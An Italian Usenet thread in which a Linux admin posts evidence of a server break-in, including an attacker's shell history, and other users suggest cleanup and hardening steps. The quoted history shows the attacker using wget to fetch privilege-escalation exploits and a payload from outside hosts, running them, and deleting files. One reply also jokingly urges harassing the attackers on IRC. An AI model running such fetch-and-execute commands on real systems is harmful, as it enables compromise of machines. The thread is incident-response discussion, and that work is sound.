Newsgroup: it.comp.os.linux.sys
Titolo: Intrusione, guardate un po'

Ciao, 
oggi ho scovato queste cosine su un mio server "casalingo":
[root@admin admin]# ls -la /var/tmp/ total 20
drwxrwxrwt   2 root   root    4096 Jan 24 22:09 .
drwxr-xr-x  26 root   root    4096 Oct 30 20:11 ..
-rwxrwxrwx   1 apache apache 10766 May 30  2004 ct
[root@admin admin]# ls -la /tmp/.temp22/
total 52
drwxr-xr-x   3 apache apache  4096 Jan  7 02:02 .
drwxrwxrwt   5 root   root   45056 Jan 25 20:10 ..
drwxr-xr-x  10 apache apache  4096 Aug  1  2003 psybnc
<<poi in /tmp/>>
-rw-r--r--   1 apache      apache   28700 Jan 24 10:06
tpl_0_7_0_3202d738e0b215919e2098a59c7006a0.php
<<sempre in /tmp/>>
drwx------   2 admin992967 admin     4096 Oct  8 15:32 ssh-lbsu9318
<<nella precedente dir>>
[root@admin admin]# ls -la /tmp
total 48
drwx------  2 admin992967 admin  4096 Oct  8 15:32 .
drwxrwxrwt  4 root        root  45056 Jan 25 20:28 ..
srwxr-xr-x  1 admin992967 admin     0 Oct  8 15:32 agent.9318
<<sempre in /tmp>>
-rw-------   1 apache   apache     516 Jan 24 10:11 .bash_history
srw-------   1 popuser  root         0 Jul  8  2004 .fam9NXQZ5
srw-------   1 popuser  root         0 Jul  8  2004 .famBEaeMQ
srw-------   1 popuser  root         0 Jul  8  2004 .famfLfCyB
srwx------   1 root     nobody       0 Oct 30 18:01 .fam_socket
drwxrwxrwt   2 xfs      xfs       4096 Jan 20 10:41 .font-unix
<<inoltre in /tmp c'era un file .bash_history>>
cat .bash_history
uname
cd /tmp
ls
rm -rf *
ps x
kill -9 11940
crontab -l
crontab -r
cd /var/tmp
ls -a
cat .bash_history
/sbin/ifconfig
uname -a
rm -rf *
rm -rf .*
ls -a
wget 
on-linux.org/priv8/mremap_pte
chmod 755 mremap_pte
./mremap_pte
rm mremap_mte
wget 
on-linux.org/priv8/elflbl
chmod 755 elflbl
./elflbl
ps x
killall -9 httpd
/sbin/ifconfig
ps aux
ps x
/sbin/ifconfig
wget 
mnk.hpgvip.com.br/subindo.txt
chmod 755 subindo.txt
./subindo.txt
ls
ps x
rm -rf *
ps xua
uname -sr
cat /proc/cpuinfo
free -t
ps x
ps aux
killall -9 inetd
[root@admin .font-unix]# ls -la
total 48
drwxrwxrwt  2 xfs  xfs   4096 Jan 20 10:41 .
drwxrwxrwt  3 root root 45056 Jan 25 20:35 ..
srwxrwxrwx  1 xfs  xfs      0 Jan 20 10:41 fs7100
[root@admin tmp]# cat .s.PGSQL.5432.lock
1517
/var/lib/pgsql/data
Cosa ne pensate? In psybnc non c'era niente, nessun eseguibile, solo le
directory, il file bash_history come lo spiegate? Quali controlli potrei
fare? Sono poco esperto... ovviamente prima di piallare tutto e
reinstallare.
Grazie

 casino agli stronzi ;)
Niente... ci sono solo le dir... niente file!!!


Scusa ma a parte chkrootkit cosa devo eseguire? Non ho ben capito.
Inoltre il file bash_history non era quello di sistema che pare ne
cancellato, ne contenere cose anomale, ma era un file bash_history
contenuto in /tmp/
E' possibile che abbia solo scaricato i files in /tmp/ tramite apache e
che non abbia fatto altro?

 fare i propri comodi: 
Si, in effetti speravo di trovare i file di conf per trarre qualche
informazione, ma niente, c'erano solo le dir

 reinstallare.
Prima di tutto aggiorna il kernel... da quello che ci hai postato ha usato
diversi exploit per elevare i suoi privilegi (tra cui elflbl
(vedui binfmt_elf uselib) che, in certe condizioni, mette al tappeto anche
un 2.6.10!).
Magari prova a lanciare gli exploit ormai che te li hanno gentilmente
scaricati (per verificare poi la vulnerabilitŕ..)
Spera che non ti abbiano rootkittato (considera di reinstallare coreutils,
binutils, procps...)
Vai a vedere nelle conf di psybnc su che canale/server IRC gira a va a far
casino agli stronzi ;)
Ciao
-- 
.jacobbe

 reinstallare.
chkrootkit
#----
strings mremap_pte
...
[+] kernel %s  vulnerable: %s  exploitable %s
[-] invalid kernel version string
#----
Lancia quei programmi e vedi se da utente non provilegiato prendi la root.
In tal caso ripulisci tutto e impara che il Firewall esiste e va usato, non
solo in ingresso, ma ANCHE in uscita !!!
Max

 che non abbia fatto altro?
Si è possibile ma con un 2.4.22 è poco probabile.
Max

 non mi dovrei almeno accorgere se c'e' qualche porta aperta sospetta?
Si, ma fallo da un altra macchina.. nell'eventualità tu sia rootkittato
come dicevo prima anche un ps -x potrebbe non mostrare niente di anomalo.
-- 
.jacobbe

 Grazie
Se ti hanno compromesso (come sembra) il kernel direi che fai prima a
recuperare il recuperabile e piallare. Prima pero' cerca di capire la
strada seguita per entrare, altrimenti ti ritrovi in poco tempo lo stesso
problema.
Ho letto che ultimamente stanno girando porcherie (tra cui un worm) che
sfruttano un bug di phpBB (il forum in php) presente fino alla versione
2.0.10. Poi sulla versione di kernel che usi (direi che hai una fedora
core 1) ci sono un paio di exploit che permettono di guadagnare privilegi
di root.
Se reinstalli (consigliato), controlla bene che falle ci sono da turare.
Una possibile cura potrebbe essere quella di creare una partizione
apposita per /tmp e mettergli come flag "noexec", ossia "da questa
partizione non eseguire nulla".
-- 
Mario "Reliant" Pascucci
"From" field altered. Please use ilpettegolo(a)
yahoo.it
 for private mail.
http://ilpettegolo.altervista.org/

 partizione non eseguire nulla".
Non e' possibile farlo senza creare una partizione apposita? Qualcosa
tipo... uno script che controlla il contenuto di /tmp e /var/tmp e se
trova eseguibili li cancella... e' una boiata vero?

 trova eseguibili li cancella... e' una boiata vero?
Buttata li alla meno peggio, ma funziona. Sicuramente ci sono altri metodi
molto piu' ottimizzati, ma adesso ho poco tempo:
for f in `find /tmp -type f -printf "%m %f\n" | awk '{if($1 ~ /7/) print
$2;}'`; do rm $f; done
Ciao
Luca Bertoncello
(
luca...@lucabert.de
)
-- 
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it

se non ci fossi arrivato per conto tuo, ho trovato qualche informazione
utile su
http://www.webhostingtalk.com/archive/thread/356913-1.html
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/